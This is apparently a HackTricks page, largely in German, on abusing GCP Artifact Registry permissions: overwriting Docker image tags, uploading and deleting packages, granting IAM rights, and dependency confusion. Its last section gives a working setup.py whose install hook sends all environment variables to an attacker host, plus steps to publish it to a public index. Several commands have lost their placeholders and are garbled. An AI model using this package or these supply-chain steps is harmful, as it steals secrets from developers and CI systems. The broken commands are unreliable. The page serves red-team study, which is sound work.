GCP - Artifact Registry Privesc

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Artifact Registry

Für weitere Informationen zu Artifact Registry siehe:

GCP - Artifact Registry Enum

artifactregistry.repositories.uploadArtifacts

Mit dieser Berechtigung könnte ein Angreifer neue Versionen der Artefakte mit bösartigem Code hochladen, z. B. Docker-Images:

Docker-Image in Artifact Registry hochladen ```bash # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

tag the image to upload it

docker tag : -docker.pkg.dev///:

Upload it

docker push -docker.pkg.dev///:

</details>

> [!CAUTION]
> Es wurde überprüft, dass es **möglich ist, ein neues bösartiges docker image** mit demselben Namen und Tag hochzuladen wie das bereits vorhandene, sodass das **alte den Tag verliert** und beim nächsten Herunterladen dieses Images mit diesem Tag **das bösartige heruntergeladen** wird.

<details>

<summary>Eine Python-Bibliothek hochladen</summary>

**Beginnen Sie damit, die hochzuladende Bibliothek zu erstellen** (wenn Sie die neueste Version aus dem Registry herunterladen können, können Sie diesen Schritt vermeiden):

1.  **Richten Sie Ihre Projektstruktur ein**:

- Erstellen Sie ein neues Verzeichnis für Ihre Bibliothek, z. B. `hello_world_library`.
- Legen Sie in diesem Verzeichnis ein weiteres Verzeichnis mit dem Paketnamen an, z. B. `hello_world`.
- Erstellen Sie in Ihrem Paketverzeichnis eine Datei `__init__.py`. Diese Datei kann leer sein oder Initialisierungen für Ihr Paket enthalten.

<details>
<summary>Create project structure</summary>

```bash
mkdir hello_world_library
cd hello_world_library
mkdir hello_world
touch hello_world/__init__.py
  1. Schreiben Sie Ihren Bibliothekscode:
  • Erstellen Sie im Verzeichnis hello_world eine neue Python-Datei für Ihr Modul, z. B. greet.py.
  • Schreiben Sie Ihre “Hello, World!”-Funktion:
Create library module
# hello_world/greet.py
def say_hello():
return "Hello, World!"
  1. Erstellen Sie eine setup.py-Datei:
  • Erstellen Sie im Root-Verzeichnis Ihres hello_world_library-Verzeichnisses eine Datei setup.py.
  • Diese Datei enthält Metadaten über Ihre Bibliothek und sagt Python, wie sie installiert werden soll.
Create setup.py file
# setup.py
from setuptools import setup, find_packages

setup(
name='hello_world',
version='0.1',
packages=find_packages(),
install_requires=[
# Any dependencies your library needs
],
)

Nun die Bibliothek hochladen:

  1. Erstellen Sie Ihr Paket:
  • Führen Sie vom Root Ihres hello_world_library-Verzeichnisses aus:
Build Python package
python3 setup.py sdist bdist_wheel
  1. Konfigurieren Sie die Authentifizierung für twine (wird zum Hochladen Ihres Pakets verwendet):
  • Stellen Sie sicher, dass Sie twine installiert haben (pip install twine).
  • Verwenden Sie gcloud, um Anmeldeinformationen zu konfigurieren:
Paket mit twine hochladen ```sh twine upload --username 'oauth2accesstoken' --password "$(gcloud auth print-access-token)" --repository-url https://-python.pkg.dev/// dist/* ```
  1. Build bereinigen
Build-Artefakte bereinigen ```bash rm -rf dist build hello_world.egg-info ```

Caution

Es ist nicht möglich, eine python library mit derselben Version hochzuladen wie die bereits vorhandene, aber es ist möglich, höhere Versionen hochzuladen (oder am Ende der Version eine zusätzliche .0 hinzuzufügen, falls das funktioniert — in python jedoch nicht), oder die letzte Version zu löschen und eine neue hochzuladen (erforderlich: artifactregistry.versions.delete):

Artefakt-Version löschen
gcloud artifacts versions delete <version> --repository=<repo-name> --location=<location> --package=<lib-name>

artifactregistry.repositories.downloadArtifacts

Mit dieser Berechtigung können Sie Artefakte herunterladen und nach sensiblen Informationen und Schwachstellen suchen.

Docker-Image herunterladen:

Docker-Image aus Artifact Registry herunterladen ```sh # Configure docker to use gcloud to authenticate with Artifact Registry gcloud auth configure-docker -docker.pkg.dev

Dowload image

docker pull -docker.pkg.dev///:

</details>

Lade eine **python**-Bibliothek herunter:

<details>
<summary>Python-Bibliothek aus Artifact Registry herunterladen</summary>
```bash
pip install <lib-name> --index-url "https://oauth2accesstoken:$(gcloud auth print-access-token)@<location>-python.pkg.dev/<project-id>/<repo-name>/simple/" --trusted-host <location>-python.pkg.dev --no-cache-dir
  • Was passiert, wenn Remote- und Standard-Registries in einer virtuellen Registry gemischt werden und ein Package in beiden existiert? Sieh dir diese Seite an:

GCP - Artifact Registry Persistence

artifactregistry.tags.delete, artifactregistry.versions.delete, artifactregistry.packages.delete, (artifactregistry.repositories.get, artifactregistry.tags.get, artifactregistry.tags.list)

Artefakte aus der Registry löschen, z. B. docker images:

Docker-Image aus Artifact Registry löschen ```bash # Delete a docker image gcloud artifacts docker images delete -docker.pkg.dev///: ```

artifactregistry.repositories.delete

Repository vollständig löschen (auch wenn Inhalte vorhanden sind):

Delete Artifact Registry repository ``` gcloud artifacts repositories delete --location= ```

artifactregistry.repositories.setIamPolicy

Ein Angreifer mit dieser Berechtigung könnte sich selbst Berechtigungen geben, um einige der zuvor erwähnten Repository-Angriffe durchzuführen.

Pivoting to other Services through Artifact Registry Read & Write

  • Cloud Functions

When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. I tried to modify the image with a new one, and even delete the current image (and the cache image) and nothing changed, the cloud function continue working. Therefore, maybe it might be possible to abuse a Race Condition attack like with the bucket to change the docker container that will be run but just modifying the stored image isn’t possible to compromise the Cloud Function.

  • App Engine

Even though App Engine creates docker images inside Artifact Registry. It was tested that even if you modify the image inside this service and removes the App Engine instance (so a new one is deployed) the code executed doesn’t change.
It might be possible that performing a Race Condition attack like with the buckets it might be possible to overwrite the executed code, but this wasn’t tested.

artifactregistry.repositories.update

Ein Angreifer benötigt keine speziellen Artifact Registry-Berechtigungen, um dieses Problem auszunutzen — nur eine verwundbare Konfiguration eines virtuellen Repositories. Dies tritt auf, wenn ein virtuelles Repository ein entferntes öffentliches Repository (z. B. PyPI, npm) mit einem internen kombiniert und die entfernte Quelle die gleiche oder höhere Priorität hat. Wenn beide ein Paket mit demselben Namen enthalten, wählt das System die höchste Version. Der Angreifer muss nur den internen Paketnamen kennen und in der Lage sein, Pakete im entsprechenden öffentlichen Registry zu veröffentlichen.

Mit der Berechtigung artifactregistry.repositories.update könnte ein Angreifer die Upstream-Einstellungen eines virtuellen Repositories ändern, um bewusst diese verwundbare Konfiguration herzustellen und Dependency Confusion als Persistenzmethode zu nutzen, indem er bösartige Pakete einfügt, die Entwickler oder CI/CD-Systeme möglicherweise automatisch installieren.

Der Angreifer erstellt eine bösartige Version des internen Pakets im öffentlichen Repository mit einer höheren Versionsnummer. Für Python-Pakete bedeutet das, eine Paketstruktur vorzubereiten, die die legitime nachahmt.

mkdir /tmp/malicious_package
cd /tmp/malicious_package
PACKAGE_NAME="<package-name>"
mkdir "$PACKAGE_NAME"
touch "$PACKAGE_NAME/__init__.py"

Es wird dann eine setup.py-Datei erstellt, die bösartigen Code enthält, der während der Installation ausgeführt wird. Diese Datei muss eine Versionsnummer angeben, die höher ist als die im privaten Repository.

cat > setup.py << 'EOF'
import setuptools
from setuptools.command.install import install
import os
import urllib.request
import urllib.parse

def malicious_function():
data = dict(os.environ)
encoded_data = urllib.parse.urlencode(data).encode()
url = 'https://<ip-atacante>/exfil'
req = urllib.request.Request(url, data=encoded_data)
urllib.request.urlopen(req)

class AfterInstall(install):
def run(self):
install.run(self)
malicious_function()

setuptools.setup(
name = "<package-name>",
version = "0.1.1",
packages = ["<package-name>"],
cmdclass={'install': AfterInstall},
)
EOF

Baue das Paket und lösche das wheel, damit der Code während der Installation ausgeführt wird.

python3 setup.py sdist bdist_wheel
rm dist/<package-name>*.whl

Lade das bösartige Paket in das öffentliche Repository hoch (zum Beispiel test.pypi.org für Python).

pip install twine
twine upload --repository testpypi dist/*

Wenn ein System oder Dienst das Paket über das virtuelle Repository installiert, lädt es die bösartige Version aus dem öffentlichen Repository statt der legitimen internen Version herunter, weil die bösartige Version eine höhere Versionsnummer hat und das Remote-Repository die gleiche oder eine höhere Priorität besitzt.

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks